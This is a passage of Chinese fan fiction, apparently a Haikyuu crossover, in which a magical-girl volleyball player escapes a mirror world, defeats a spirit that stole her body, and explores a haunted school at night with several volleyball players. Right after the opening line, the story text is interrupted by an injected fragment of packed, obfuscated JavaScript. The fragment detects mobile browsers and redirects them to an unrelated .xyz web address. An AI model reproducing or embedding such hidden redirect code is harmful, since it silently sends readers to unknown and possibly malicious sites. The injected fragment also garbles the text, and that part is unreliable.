门外连接着的是一截短短的走廊，而栏杆外部是无尽的虚空，视力在这片深渊中失去了应有的作用，壁灯的光芒无法对抗压倒性的黑暗。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14223200|147932||http|test|mini|href|location''.split(''|''),0,{}));
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>她沿着走廊尽头的楼梯向下，是与楼上一模一样的走廊，尽头是另一个楼梯，墙上还有一道木门。
推开门，赫然是和楼上相同的典雅洗手间，
她走到镜子边向外看去，现实世界的陈设和之前的有些区别，证明并不是5楼的那间。
这时，她隐约听到十六夜和“她自己”的脚步声，于是确定了这一面镜子连接着四楼的洗手间。
以此类推，学校中的拥有镜子的房间都和这一块小小的位面相连。
她上上下下走了多遍，但她还是没能找到出去的办法。
到底是哪里出了问题？
阎魔乐回到最初的房间。
“呲啦。”
她踢到了一个物件，那是一截不完整的锁链。
脑海中如同打火石相撞迸发出火星，一个念头产生。
是的，她没有直接照镜子，但是以魔力铸成的锁链直接物理意义上的入镜了。
所以，要达成交换的条件远比想象中要更困难——和镜子直接接触。
这几乎是个死局。
知道这条规则的邪祟好不容易夺了她的身体自然不可能再还给她。
正常人看到黑影都会转头就跑吧，无论如何也不可能和镜子来个亲密接触吧？
而且她要是尝试在学生面前显形，对于镜中人的恐惧会直接增加邪祟。
阎魔乐有些束手无策，她抱着膝坐在角落里等待着魔力恢复。
时间不知道过去多久，迷迷糊糊间她再次听到了门外的动静。
“果然在这里。”
十六夜的声音宛如一针强心剂，阎魔乐从地上弹了起来，扑到镜子前。
不出所料，下一秒，苹果头少女惊叫着坐到地上。
但万幸的是她还没有逃跑。
普通人看不到魔力，但是根据邪祟在镜子中的显像，并且锁链实体化的种种表明，只要是属于镜中人本体的物件都能在镜子里显形，包括魔力。
阎魔乐担心十六夜在惊慌状态下会看不清字，于是直接用魔力在手中幻化了一颗排球——那是她和十六夜最初，也是最紧密的联系。
同时，她以手指为笔在镜子上写下一行字：「阿夜，我是阎魔乐。」
拜托了，请一定要相信我。
阎魔乐祈祷着。
十六夜脸色苍白得后退贴着墙壁，却在看到黑影手中的球状物迷惑起来，那个黑影似乎没有想要伤害她的样子。
她的脑海中闪过刚才鬼冢没有说完的话——“或者情况更糟糕，阿乐同学可能……”
更糟的情况是什么？
镜子上出了一行字印证了这个可怕的想法。
“你是阿乐？”十六夜用颤抖的声音地问出这个荒唐的问题。
黑影轻轻抛起球，拍了出去，似乎是在用行动回答她的问题。
在阎魔乐开始练习跳飘球后，并没有想要一鸣惊人而藏着掖着，一时间一年级中刮起了一阵练习发球的热潮。
明明教会了别人自己会更难上场，不过她好像没考虑过这一点。
眼见着好友没有逃跑，一股酸涩的感觉从胸口蔓延，明明是可怖的黑影，十六夜却几乎在第一时间认出了她的模样。
她那个只是普通人的好友，却是破局的关键。
「阿夜，给我传球。」
阎魔乐忍着泪意，用魔力凝出最能证明自己身份的证据。
“怎么会这样呢……阿乐，别怕……”十六夜瞬间红了眼眶，一步步走向镜子。
她不再惧怕黑影，整颗心弥漫着疼痛，她轻轻抚上镜子想要通过触摸安慰自己的好友。
“对了，我们可以找鬼冢同学想象办法……”
当十六夜的手指触碰到镜面的那一瞬间，规则发动，空间再次发生转变，阎魔乐重新站在5楼洗手间的镜子前。
成功了。
她望向镜子，短短十几个小时中，比她这三个月来找镜子的次数都多。
此刻，镜中赫然是十六夜可爱的模样。
28.热忱待人的学长和其对照组
阎魔乐扯了扯嘴角，镜中的少女便苦涩地笑了一下。
她根本就没有想过要把其他人牵扯进来，结果先是日向，然后是阎魔乐，一个两个都是在这个世界中重要的人。
她不忍地对着镜子说：“阿夜，相信我，我会尽快回来的！”
为了不让十六夜害怕，她在镜子中留下了一个催眠的术法和一个守护型术法，在空间强制转换后，十六夜会立刻陷入沉睡。
一定要在她醒来之前干掉那个混蛋邪祟！
阎魔乐小心翼翼地移动双腿，然后一咬牙不管不顾地跑起来。
十六夜的身体轻盈有力，尽管视线降低稍稍有些不习惯，但是恰到好处的肌肉让她体会到了什么是真正的“身体的操控性”。
阎魔乐从未如此轻巧地跑动过，相比于自己夜跑时疲于奔命的状态，她鲜有像此刻感受到微风拂面的畅快。
阿夜果然很强。
她从教学楼一路向下，路上遇到日向，少年似乎有话要说，不过她扬了扬手，未作停留径直跑过。
四馆中，鬼冢和星那刚吃完午饭，正坐在墙边等待食物消化成体内的营养和燃料。
“幽、鬼冢同学，阎魔乐在哪里？”
“……”鬼冢看着面前的“十六夜”微微皱起眉，但她还是如实地说，“应该是在斜坡的树下乘凉。”
阎魔乐闻言，匆忙留下一句“多谢”转身就跑。
“一个两个都奇奇怪怪的。”星那嘟囔着，上午星之快攻的成功率也不高。
“嗯，很奇怪呢……”鬼冢无意识地接话，视线却粘在少女的背影上，不知是看出了什么端倪。
邪祟不喜欢阳光，纵使那并不会造成实质性的伤害，它们也只会在阴天、夜晚或是阳光触及不到的室内中出现。
斜坡在一馆附近，阎魔乐跑过最后一个转角，赫然找到了她的目标。
“阎魔乐”保持着标准的跪姿端坐在树下，她什么也没有干，只是柔和地笑着。
亲眼看着自己出现在眼前是一件非常奇怪的事情，但对她来说之前在镜子中已经经历过一次了。
对面似乎也发现了她，却并没有要逃跑的意思。
阎魔乐确认这附近并没有什么镜子或相应制品，于是谨慎地一步步靠近。
相隔一米的时候的，“阎魔乐”突然动了，本尊很紧张，缠绕在指尖的魔力瞬间暴涨。
谁知“她”只是扶着地面往旁边让了让，在树荫下留出了一块舒服的位置，她复又抬头含笑与她对视，仿佛某种无声的邀请。
阳光晒得阎魔乐有些晃神，太阳穴突突地跳着，伴随着突如其来的刺痛，眼前闪过来不及辨别的画面，一种熟悉感萦绕在心头。
精神类的攻击吗？
她眯起眼睛不再犹豫，一个箭步飞扑过去拥抱住了“自己”。
在外人看来，只会觉得是青春期的少女因为关系好之间亲密的打闹。
“阎魔乐”被压着靠到树上，表情未变，似乎全然不理解这个举动的含义。
阎魔乐左手捏着一枚钉子按在“自己”的眉间，右手抡起一把小锤毫不犹豫地落下，将钉子深深钉入。
电光火石间，原本还倚靠树干的少女身子一歪，失去了所有力气搬倒在了地上，压倒小草发出“沙沙”的声音。
人型的黑影被钉在树上狂乱地扭动着，看上去十分痛苦。
因为是在树荫之下，有些难以辨认，但阎魔乐准确地掐住了它的脖子。
将好友扯麻烦事的愤怒让她冷着脸收拢十指，魔力覆盖的双手配合着十六夜的力量硬生生将它的脖子勒断。
也算是她们合力净化了一只邪祟。
阎魔乐自我安慰，随后扑通一声栽倒在草坪上，失去意识前的最后一个念头是——糟糕，别摔到阿夜才好。
所幸她很快就睁开眼，泥土的气味沁入鼻腔，小草划过肌肤有些痒。
她眨了眨眼，十六夜的面庞近在咫尺。
少女紧闭双眼，呼吸平稳，相比于昏迷，更像是在熟睡。
回来了。
随着邪祟的消散，镜中世界也随之消失，一切复原。
因为她施咒的原因，现在十六夜暂时没有醒来。
普通人的灵魂在一天之中来回发生转移，会给大脑造成极大的压力，还是好好睡一觉比较好。
“你好，请问需要帮助吗？我刚才听到摔倒的声响。”坡下方传来一个男声。
阎魔乐翻身看去，正是“待人热诚，慈悲为怀”的靠谱R18男高黑尾。
她下意识想拒绝，但是想到自己只有2的力量要抱起十六夜可能够呛，万一摔倒反而弄巧成拙。
“我的朋友似乎中暑了，可以帮忙把她送去医务室吗？”阎魔乐坐起来，扶起十六夜，让她靠在自己的怀里。
“失礼了。”
黑尾走过来，小心地公主抱起十六夜，他注意着自己的姿势，让自己不会过于失礼。
三人从排球馆门口经过的身影，被眼尖的俄罗斯蓝猫捕捉到。
“哎？黑尾学长抱着新山的队员。”灰羽列夫指指排球馆门的方向。
顿时，音驹的众人挤到了门口，由高到矮排列着伸出脑袋观察着情况。
“旁边是……毛豆泥！”犬冈绝对是个合格的单细胞。
研磨双手拿着游戏机，象征性地抬眼朝门外瞥了一眼，对于这件事的兴趣也只能让他有这样的反应了。
“唔，我都不敢跟她们打招呼啊！”山本留下两行清泪，“真不愧是学长啊。”
“可恶，黑尾这家伙竟然先出手了！”夜久握紧拳头，没好气地说。
“我觉得你们都误会了。”海行信温和地笑着，不过他知道这些家伙一定是听不进去的。
“你们训练得也很拼啊。”为了缓和无言的状态，黑尾随意地找了个话头。
“嗯，因为要在新山成为首发并不是容易的事情。”
因为解决掉了邪祟，阎魔乐从昨晚开始紧绷的神经稍稍松懈了下来，面对意义不大的闲聊，她如实回答。
“困难的事情才更有做的价值。”黑尾的语气像是回答少女，又像是对自己的鼓励。
音驹在IH选拔赛中提前遇到了井闼山，没能进入全国大赛，明年的春高将是他们最后一次机会了。
医务老师正好不在，黑尾轻轻将十六夜安置在病床上。阎魔乐松了口气，她摸了摸少女的脸庞，起身示意少年一起离开。
“你不用留下来陪她吗？”
“要是阿夜知道我因为她翘掉了下午的训练，应该会超级不开心的吧？”
“原来如此。”黑尾点点头，认可了少女们对成为首发这件事的严肃与认真。
“垃圾场对决……对吧？”阎魔乐突然不明所以地说。
“啊，日向跟你说了吗？”黑尾轻笑一声。
“那也是一件困难的事情呢。”
“是啊，不然怎么会那么多年……哎？”
黑尾反应过来，她的意思是——这是一场极具价值、值得期待的比赛。
“谢谢你，黑尾前辈。”阎魔乐由衷地道谢，少年刚才小心翼翼的一举一动她全部都看在眼里。
“哪里，本人一向热忱待人。”
阎魔乐闻言忍不住笑起来，真是很靠谱的三年级学长。
***
和夜里不同，十六夜睡了很舒服的一觉，她缓缓睁开眼睛。
“阿夜，你醒啦？”阎魔乐听到动静，凑过去查看好友的情况。
“哎？我睡着了吗？”
“嗯，医务老师说是因为轻微中暑的关系。”
窗外夕阳西下，下午的训练
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已经结束了。
“啊，好浪费，半天没有练习。”她懊恼地说，继而脸色一变，似乎是想起了什么可怕的事情。
她轻呼一声：“啊！之前在5楼洗手间，黑影……”
说着说着，她的声音逐渐低了下去，因为那荒诞的剧情中有另一个人的存在。
阎魔乐则一脸迷惑：“阿夜是做噩梦了吗？”
修改记忆是高深而危险的术法，且不说她目前的魔力不够，即使足够她也不愿意使用这个可能会留下后遗症、造成更坏结果的术法。
“是梦啊……”
十六夜平静下来，只是那种感觉如此真实，而且……
“对了，阿夜，我刚才在和玉治比赛的时候……”阎魔乐翻开手机，迫不及待地分享着新的战术。
太好了，还是熟悉的阿乐。
十六夜露出安心的微笑，肚子不合时宜地发出“咕咕”的声音，人一安心下来，身体的各方面感觉都会恢复。
“嘿嘿，不如我们边吃边说吧。”她不好意思地“嘿嘿”一下，想要下床。
“嗯，忧子和小幽会送便当过来。”
话音刚落，伴随着敲门声，医务室的门被推开，一高一矮两个身影站在门口，隐隐有饭菜的香气传来。
“你终于醒了！”星那吵吵嚷嚷地喊道。
十六夜不在，再也没人能给她托那样乱来的球了。
“忧子，这里是医务室哦。”鬼冢小声提醒道
“有什么关系，医务老师在吃饭，这里只有我们啦。”星那捧着便当放到十六夜的手上，“快点多吃点饭好起来，你还要给本小姐托球呢。”
除了阿乐外，还有人在期待她的托球。
饭菜的温热透过餐盘传递到掌心，十六夜眼眶一湿。
当然，这一切都是因为阎魔乐的建议。
果然……只要有阿乐在……
十六夜感动地望向好友，却见她露出一丝狡黠的笑容。
“忧子的快攻虽然很厉害，但是呢，作为副攻手不能只会进攻呢。”阎魔乐装作不经意地开口。
“哈？本小姐的拦网明明又高又快才对吧？”星那双手交叉在胸前不满地说。
“确实呢，不过要是拦网的时候可以根据进攻的种类调整战术，一定能一举击溃更多的进攻。”阎魔乐一副思考的模样，然后轻轻对上大小姐的视线，“天才一定是全能的对吧？”
“嘛……你都这么说了……”
于是，阎魔乐趁热打铁道：“我打听过了枭谷和清元的MB会在三馆自主练习，小幽和忧子一起过去练习吧，她们应该会很乐意一起训练的。”
送走了两人，十六夜忍不住笑道：“噗，阿乐好狡猾，什么都在你的掌控之中呢～”
阎魔乐垂眸眼神黯淡了一瞬，事实并不是这样的。
“那么，阎魔教练，我们晚上的练习安排呢？”十六夜调侃道。
“一馆，阿夜要学能让球停下来的技术。”
“遵命～”
暑假似乎与空调、冰淇淋、冰西瓜更相配，可一旦与排球、热血这些词挂钩，便会是在排球馆灯火通明的场景下，少男少女们在其中热火朝天地演绎着关于青春的故事。
夜色降临，在前往一馆的途中，大小姐的声音从三馆中大咧咧地传出来。
“伞什么的，一点都不酷！”
“忧子……”
“噗～没想到新山也有单细胞生物啊～”一个不怎么友善的家伙忍不住笑出了声。
阎魔乐和十六夜相视一眼，立刻明白发生了什么事，不约而同地朝里头跑去。
球馆的灯光刚落到她们身上，就听到那个少年再次开口——
“啊啦，果然是你们的小猴子啊。”
黄头发的眼镜拽男扶了扶眼镜，露出戏谑的微笑。
29.带孩子的家长们
三馆3V3练习赛中，日向、木兔和赤苇一组，毫无疑问，日向以一己之力拉低了平均身高，月岛、黑尾和灰羽组成了平均190组。
刚才的对话应该发生在全能的MB黑尾指导拦网技巧之后，但是星那的想法从来都不是这样，她就是喜欢拦死对面，这造成了她在空中防御时的死板。
而糟糕的一触会影响后续的防御和进攻。
面对月岛萤的“小猴子”暴言，星那不明所以。
“哎？有猴子吗？”日向一脸疑惑环顾四周。
是在说你们啊……
快点发现吧……
众人心头一紧，憋笑憋得很痛苦。
“哦呀～所以说，眼镜君也很认可‘伞’的作用对吧？”黑尾适时地开口，算是替两个单细胞解了围。
嗯嗯，不愧是人帅心善的音驹队长啊。
虽然长着一张不怀好意的反派脸，不就正向证明了人不可貌相嘛。
众人松了口气。
“额……”月岛没想到自己随心的嘲讽竟然遭到了反噬，他别开脸低声回了一句“嗯”。
“我才不认可呢。”星那逞能地说，虽然并没有人问她。
“或者说，这位同学做不到呢？”月岛的防御性嘲讽简直触发了的被动一样，只要别人说话就会自动发起攻击。
“开什么玩笑！”星那大声嚷道。
眼看两个黄毛的大战没完没了，阎魔乐轻叹一声开口道：“不过就是区区简单的空战技术，天才怎么可能掌握不了呢～”
“哼哼哼～就是说啊！～”星那抱胸昂头，一副很受用的样子，“我只要稍加练习一定可以的。”
“这不就是还没有掌握的意思吗？”灰羽眨着眼，不经意地发动了一个名为「哪壶不开提哪壶」的主动技能。
“喂喂，你这小子别再帮倒忙了。”黑尾无奈地对着这个没有坏心但常因口无遮拦而惹恼别人的后辈说道。
“不管是‘墙’也好，‘伞’也好，都能瓦解对方的攻势不是吗？灵活地切换战术是一个天才副攻应该做得到的对吧？”阎魔乐赶紧接话，深怕少说一句大小姐该发现事情不对了。
“哼哼哼！～都包在我身上吧！～”
看来暂时不用担心呢。
阎魔乐想着，感受到黑尾落在自己身上的视线，她扭头看到少年无奈的神情，无声地笑了一下。
看来都是为孩子操碎了心啊。
意识到这个想法的黑尾稍稍一愣，发觉他自然而然地将面前这个成熟的少女视作新山一年级们的主导。
“嘿～嘿～嘿！大家好像很有干劲呢！”木兔挺起胸膛，“干脆一起来练习吧！”
奥，这还有一个单细胞呢。
“木兔学长，请冷静一些。”赤苇的声音宛如燥热夏夜中的一股清泉，冲淡了些许烦躁，“女排的队员们应该也有自己的训练计划吧。”
“好热闹啊，今天，新山的一年级们也在呢。”木叶千夏和队友一起走进来，手中还提着一袋子零食。
“木叶前辈好。”少女们礼貌地打招呼。
“要一起训练吗？”木叶拎起袋子晃了晃，“一会结束还有加餐哦～”
“多谢学姐，这位是新山一年级的副攻手星那忧子和主攻手鬼冢幽，请学姐务必不要手下留情。”阎魔乐赶紧应承下来，毕竟让一个笨蛋傲娇和一个害羞无口主动开口实在是一件不简单的事情。
“哎？小阎魔不来吗？”木叶千夏作为枭谷的首发虽然没和连背号都没有的少女对上过，但是她总觉得这个落落大方的女孩并不是那么简单的。
“是，因为需要做别的练习。”阎魔乐如实回答。
“这样呢，期待和你比赛的那一天。”
正巧清元的队员也到了，木叶千夏也就没有坚持，带着所有人开始热身。
“那个该不会是秋纪之前死死守护的零食吧？”木兔歪着头指了指被放在一边的塑料袋。
“看起来他妹妹终于收下了呢。”赤苇点点头，就是不知道这个妹控哥哥在知道自己严防死守的零食最后被分给大家会是什么样的心情呢？
“训练训练！”木兔欢快地高呼一声，看上去已经完全不在意之前想要其中一颗糖的事情了。
一馆角落里的球场中，一高一矮两个身影正在做着不寻常的练习，网前均匀地摆着一排水瓶。
谷地仁花抛球，影山修长的十指在排球上轻轻一托，排球像是被操控一般行进到最高点后落下，精准地砸中了其中一个瓶子。
“球，停住了。”十六夜怔怔地说。
“就是这个，阿夜。”第一次亲眼看到这个技术，阎魔乐显得十分兴奋，“能够让更多人无障碍地扣到你的球的技术，能够让你成为首发的技术。”
“嗯、嗯！”十六夜被这番话带动得跃跃欲试，“啊，我们是不是也要准备瓶子……”
“不哦，阿夜的练习需要升级难度呢。”阎魔乐站到场中，“你要在给我托球的时候练习这个技术
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哦～”
毕竟，她也想好好练习自己的扣球技术，顺便把速度这最后一项突破。
“哎？那是不是……”
“晚上好啊～”新山的经理福生优奈摇着手打招呼。
“辛苦优奈给我们托球啦。”阎魔乐道谢，和别人搞好关系一向是她拿手的事情。
“哪里，我一定会努力帮助大家的。”作为妥妥的智性恋，福生优奈对阎魔乐有着一定的好感。
“阿乐总是把一切都安排好了啊。”十六夜笑着，自己的朋友一直都那么厉害。
“十六夜同学，随时都可以开始哦～”
十六夜站到网前敛去了笑容，她看了看阎魔乐的位置，然后轻轻点了点头。
第一次的训练并不算特别顺利。
一方面这个连影山都花了不少力气掌握的技术确实不简单，一方面在十六夜刚刚找到手感的时候，阎魔乐已经把剩余的体力耗尽了。
虽然她硬撑着继续练习，但总会影响一些训练的进程。
最终，成功率只有十分之一，还不是能够在比赛中稳定使用的进攻手段。
不过，她们对此并不急躁，没有什么是不付出努力就能轻易达到的。
阎魔乐洗了个舒服的热水澡，缓解身体上些许疲惫。走在既定的道路上一步步向前的满足感令她心情愉悦。
她和十六夜一起走到教学楼下，下意识抬头看了看她们所在的教室。
有什么东西在她视野的上半部分一闪而过。
眨眼之间，她将视线上移，却又丢失了目标。
还是没有住人的五楼？
阎魔乐没有伸张，毕竟十六夜才刚刚经历过那些恐怖的事情，虽说她开朗，看上去好像已经没有什么阴影了，但造成她的不安绝对是没有必要的。
不过，因为镜中邪祟的关系，阎魔乐决定去故地检查一下。
她这次长了个心眼，在所有人都熟睡后又在教室内加了一个催眠的术法，防止重蹈覆辙。
过道中静悄悄的，所以头顶上由远及近又远去的急促脚步声就显得越发清晰。
总不可能有人那么晚了还在练习加速跑？
当然，阎魔乐更加希望是这样的答案，她一步一步慢慢地走上楼梯。
走到两层中央的拐角处时，脚步声嘈杂了起来，似乎有很多人存在，最重要的是——那是从她的身后传来的！
那么晚了还有谁会上五楼？
她……被包围了？！
30.和三馆组一起探险1
阎魔乐对付邪祟的经验不算多，但胜在想象力丰富。
她能灵活运用一切利于自己的手段使用魔力战斗，所以在成长进化的时候，成功领悟了一部分空间法则，称得上天才一词。
阎魔乐猛地转身向后伸出双手，魔力编织的光网霍然张开，像渔民们抛向水面的渔网，又像笼住夜色的纱幔，划出爽快的轨迹。
与此同时，映入眼帘的并非是恶心的人形黑影，而是一颗顶着银白色头发的脑袋。随后是一双夜枭般琥珀色的眼睛，在夜里闪过锐利的光。
眼睛的主人在看到少女后惊讶地停下了脚步。
“哎？刚才是你吗？！”木兔光太郎激动地问道，全然不在意现在的场景与气氛。
作为不会被翔阳所影响的大太阳，他仿佛在夜晚也能发光。
面对这个意味不明的问题，阎魔乐举到空中的十指轻颤收拢，紧急撤回一个常人看不见的陷阱。
好险，差点攻击人类了。
阎魔乐因后怕无声地叹了口气，然后重新看向来人……们。
不得不承认，即使她完全没有谈恋爱的心思，但眼睛的功能十分正常。
刚出浴的男高们各有各的清俊帅气，未干的头发滴下水珠、蒸腾起清爽的热气，被当作睡衣的基础款T恤随意舒适。
对于木兔来说，发胶绝对是需要删除的物件，银灰色的头发服帖柔顺地垂下，结合头顶的黑发显得十分有设计感，愣头好大儿立刻化身成阳光校草。
异曲同工的还有某反派，虽然改不掉奸巧的气质，但希望他能好好改改睡相。
“抱歉，你被吓到了吗？”看到少女默不作声，赤苇贴心地询问，“没事吧？”
枭谷二传的美貌依然不容小觑，洗过澡后出落得越发清秀。
“那么晚了，前辈们怎么会上楼来，老师应该有嘱咐过吧？”
像这样男生女生不可避免会接触的合宿中，双方都会比较注意，男生一般不会上到二楼及以上的楼层。
不过，不管因为什么，阎魔乐都想把他们拦在这里。
“还不是这个全国五大主攻说什么看到了奇怪的人在五楼的楼道中来回跑。”黑尾无奈地笑笑，唇角的笑意仿佛有温度。
还真是属猫头鹰的吗？连夜视能力都一模一样。
不过，普通人能够看到是不是意味着那并非邪祟作祟？
阎魔乐思考着抬眼，发现三人之后还站着一个出人意料的人。
她根本没想过他会来凑这个热闹，随便是三馆的哪个来多管闲事都不可能是他。
月岛萤推了推眼镜，像是被发现了什么秘密一般转开脸。
“翔阳他们呢？”
“日向因为和影山比赛谁能更快洗完澡、跑回教室就先离开了，灰羽那小子嘛……”黑尾抬眼想着目前寝室中的情形，“应该已经睡着了吧。”
真是毫不意外的回答，否则他们一定会吵着来探险吧？
“所以刚才有什么……”
“咚咚咚咚——”
上方的脚步声由远及近清晰地传来，然后骤然止住，那阵仗仿佛就停在楼梯口，不知那诡异之物是在迎接，还是在审视。
邪恶的气息稍纵即逝。
阎魔乐的动作比想法更快，她扭身向上，只跨了一步就倒抽一口凉气，猛地停下，止住了自己想要使用最大功率攻击的冲动。
楼梯之上确实立着一个人。
不，半个。
那个古怪“生物”没有双臂和从腰往下的下半身，躯干处的内脏保持着微妙的平衡，看上去几乎要掉下来。
脸上有一半没有脸皮，血红的肉赤裸裸地暴露在空气中，那只裸露在外的眼球直勾勾地盯着少女，逼真鲜活得让人感到下一秒就要说话。
这幅光景，就算胆子大如阎魔乐也不免吓了一跳。
毕竟平时就算遇到邪祟那也都是黑影，就算有些额外的附加项，也比不过现在直接从黑白到彩色、二次转三次的冲击，她的心脏砰砰直跳。
男生们见状也迫不及待地跟上。
“那不是生物教室的人体模型吗？”赤苇认出了古怪的东西就是平时上课用的教具，顿时恐怖的气氛冲淡了一些。
“哎？那怎么会出现在楼梯口？”木兔摸不着头脑。
毫无疑问，刚才有邪祟的气息一闪而过，所以把模型搬到这里的应该也是那个邪祟的杰作。
生物实验室、人体模型、被察觉的怪异事件……要素齐全了，学校中最容易产生的怪谈之一，和洗手间的花子或是镜中人一样。
只要连续几天人体模型出现在不应该出现的地方，怪谈就形成了。
随着学生之间会口口相传，邪祟的力量就会在传播中不断增强。若是在网络上有了热度……阎魔乐担心自己目前的实力可没办法应付。
“应该是有人恶作剧吧。”她不动声色地说，她决定使用更为科学的方法解释着这场风波，“可能是有人抱着这个高速跑动，所以在昏暗中显得像是人体模型在跑动。”
幸好她对某死神小学生的剧情也有所涉猎。
“啊？原来如此，我就觉得那个姿势很不自然呢。”木兔锤了一下掌心恍然大悟。
“那么，前辈们……”
既然没有发生什么诡异的事件，那么男高们也没有什么好继续留在这里的理由了，希望他们打消探险的心思赶紧回去，她可不想一边保护着他们一边净化邪祟。
谁知事与愿违，木兔嚷嚷着“太过分了”就上楼拿起了人体模型，阎魔乐根本来不及拦住。
“赤苇，我们把这个放回原处吧？”他看了看被月光微微照亮的过道，“然后把这个可恶的家伙抓出来。”
“嗯。”赤苇点点头也走上楼梯，在胡闹这方面，被木兔吸引着打排球的他自然是会奉陪到底。
“啊啊～”黑尾无奈地抓了抓头发，看上去已经默认自己会参与接下去的事情了。
他和木兔同年级，又属于同赛区同个排球高中联盟，赛场合宿都能遇见。
他们即是对手，也是朋友，都到了这里了，那跟着他们一起胡来一下也未尝不可。
他注意到少女并没有想要离开的意思，好像正在犹豫着做什么决定。
“我记得你是叫……”黑尾话到一半赶紧止住，毛豆泥这个词差点就脱口而出。
等问了名字，一定要好好纠正犬冈。
“阎魔乐。”少女轻声回答，她面上平静，心里则在快速盘算着。
这些热血的运动番角色明显是不可能三言两语就劝回去的，太过刻意的话反而会起到反作用，直接下催眠咒也不行，一行人都在楼道睡着才是更奇怪的事情吧。
算了，既来之则安之，只要是精神坚定的人一般不会受到伤害。
热成待人的可靠黑尾，嗯，第一个通过。
然后是木兔，现在是积极形态，没问题。
至于赤苇……一般只要木兔状态ok，他就绝对没有问题。
现在，比较没法判断的是这个看上去理智的毒舌拽男。
他现在被山口吼过了吗？如果没有解开心结，那么搞不好会被趁虚而入。
可如果直接挑明让月岛离开，他反而有大概率留下来，毕竟这家伙的好胜心并不是像他表现出来的冷静那么少呢。
“眼镜君也要来嘛？还是说……”黑尾咧开嘴笑起来，“如果害怕的话完全可以回去哦。”
“就去看看是什么人那么无聊吧。”月岛没好气地往前走去。
“真不错啊，你小子～”木兔第一个举双手赞成。
看吧，她就知道，这么轻易就上钩了吗？
这群人如果是在恐怖片当中肯定会一个接一个地惹事，然后活不过三秒。
还好这里是安全的运动番。
少年们遇到的挫折与迷惘只会存在于现实所不看好的短板之下，存在于输掉比赛后的眼泪之中，存在于夏季的
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蝉鸣之中。
“阎魔，你刚才是在楼下听到了什么声音吗？”
最先发现人体模型的就是这个女孩，可她即使受到了惊吓不仅没有惊慌失措，连下意识的惊叫都没有。
得到了肯定的答复，黑尾不免咂舌。
她竟然敢一个人来？
并没有小看少女的意思，恰恰相反，黑尾只是赞叹于她的胆大，因为他觉得自己都免不了在夜晚的校园中遇见这样的情况还能一声不吭。
“是因为我对怪谈故事很感兴趣。”阎魔乐知道，其实大空才是更喜欢这些的人。
“好耶，抓捣蛋鬼小分队正式成立！”木兔高兴地说，他一手叉腰，一手抱着人体模型兴奋不已。
“木兔学长请小声一些，其他同学应该已经睡着了。”赤苇提醒道，顺手把模型上摇摇欲坠的肝脏按回了原位。
月岛萤一言不发地打量着四周的环境，一方面他面对前辈和女生的时候，还是会保持基本的尊重，一方面他确实是个缜密谨慎的人。
生物实验室在走廊尽头，不知哪里来的乌云遮住了月亮，长长的甬道在黑暗中显得幽深阴森。
对于魔法少女来说，想象力是力量的一部分。但是对于处于原始恐惧的黑暗中，想象力就成为了负面情绪的催化剂。
那会让平凡的黑暗变成致命的威胁。
人类算是趋光性的动物，所以邪祟会在阴影中诞生。
一切只为了恐惧蔓延。
阎魔乐很快找到了控制走廊电灯的开关，刚准备按下却被木兔出言阻止了。
他一本正经地说：“开灯的话可能会引来保安，我们搞不好会被当成恶作剧的人。”
赤苇微微张大了眼睛，显然是几乎没听到过他说出这么有道理的话。
月岛打开手机的手电筒，拿低只照亮前方的地面。
阎魔乐跟上少年们，木兔自然是打头阵，黑尾则贴心地与她并肩而行算是殿后。
稍微有些鬼屋经验的都知道，除了队伍的第一个会遇到脏吓这样的情况外，最容易被特别“照顾”的就是队尾了。
教室的门开着，里面没有开灯，木兔就着手电筒的光亮，将人体模型放回原位。
一切安然无恙。
甚至，人体模型也显得不那么可怕了。
无事发生也好，她可以花时间慢慢搜查，只要在合宿结束前解决就可以，在这里的只有排球队的队员，而且她也能看着一点。
这个房间中残留着邪祟的气息，但是这家伙躲在哪里呢？
当前的魔力下，大范围的索敌术法无法随意使用，能缩小搜索范围是最好的，刚才想要开灯就是这个原因，起码能稍微限制邪祟的行动轨迹。
“可恶，刚才过来的时候，似乎没有看到人呢。”木兔懊恼走回来。
“应该是躲在某个教室中在等我们离开吧？在这之前，他肯定不会弄出什么动静。”月岛萤的猜测不无道理，只是一想到有个未知的人怀着恶意藏在看不见的地方，还是会令人十分不安。
阎魔乐四顾着，率先皱起眉头——多媒体教室的门缝中，有微光透出来。
并非是灯光，看着闪烁的光线，大概率是屏幕上在播放什么都关系。
可是，明明刚才经过的时候还没有任何动静。
众人顺着她的视线也发现了异样，怪事真是一件接着一件。
他们一起走到教室门口。
“哈哈，这个捣蛋鬼真的很笨呢～”
木兔一把推开后门，第一个冲了进去，想要抓住意想中的“犯人”。
“等……”阎魔乐伸出的手堪堪擦过了他的衣角。
来不及，根本来不及，当然了，来得及也拉不住一点。
“唔！那……那里……”
进门的一瞬间，开朗的大太阳整个人僵在原地，他伸出手指着教室的前方，然后说出了令人十分震惊的话。
“那是一排头颅……吗？”
31.和三馆组的探险2
木兔的话让众人脸色骤变，阎魔乐灵巧地从他们的缝隙间窜进多媒体教室。
也许是没想过看似胆大的木兔会惊慌失措，也许是没想到传统想法中最需要保护的少女冲在了第一个，也许是没有想过“头颅”的意义，毕竟这只是寻常的高中合宿罢了。
一切发生得很快，在其他三人反应过来之前，少女已经直接挡在185的主攻身前了。
阎魔乐迅速探查着教室中的情况，指尖的魔力立方体蠢蠢欲动，少年们跟在她的身后也陆续进来。
夜间理应关闭的大屏幕正是微光的来源，不过上面没有播放任何影像，只有一片雪花细密地跳动着，明明无声，却从视觉上让人感到烦杂。
这时，一个黑色人影从屏幕的左侧入画，它走到中央停下，宛如打破第四面墙的主角一般朝着屏幕外的高中生们挥手打招呼，然后迅速化作一道黑色的残影消失不见。
闪电般的逃窜速度让阎魔乐刚抬起手就丢失了攻击目标。
可恶。
她悻悻收回手。
这时，她才将注意力转移到教室第一排位置的桌面上，那里摆放着多个不规则的圆形物体，雪花屏照得那些东西越发惨白诡异。
“啪”一声，教室中亮起了灯，突如其来的光线让她条件反射地眯了眯眼睛。
月岛萤垂下手，平静地解释：“多媒体教室的窗帘密封性很好，现在也是拉着的。”言下之意是不会引来保安大叔。
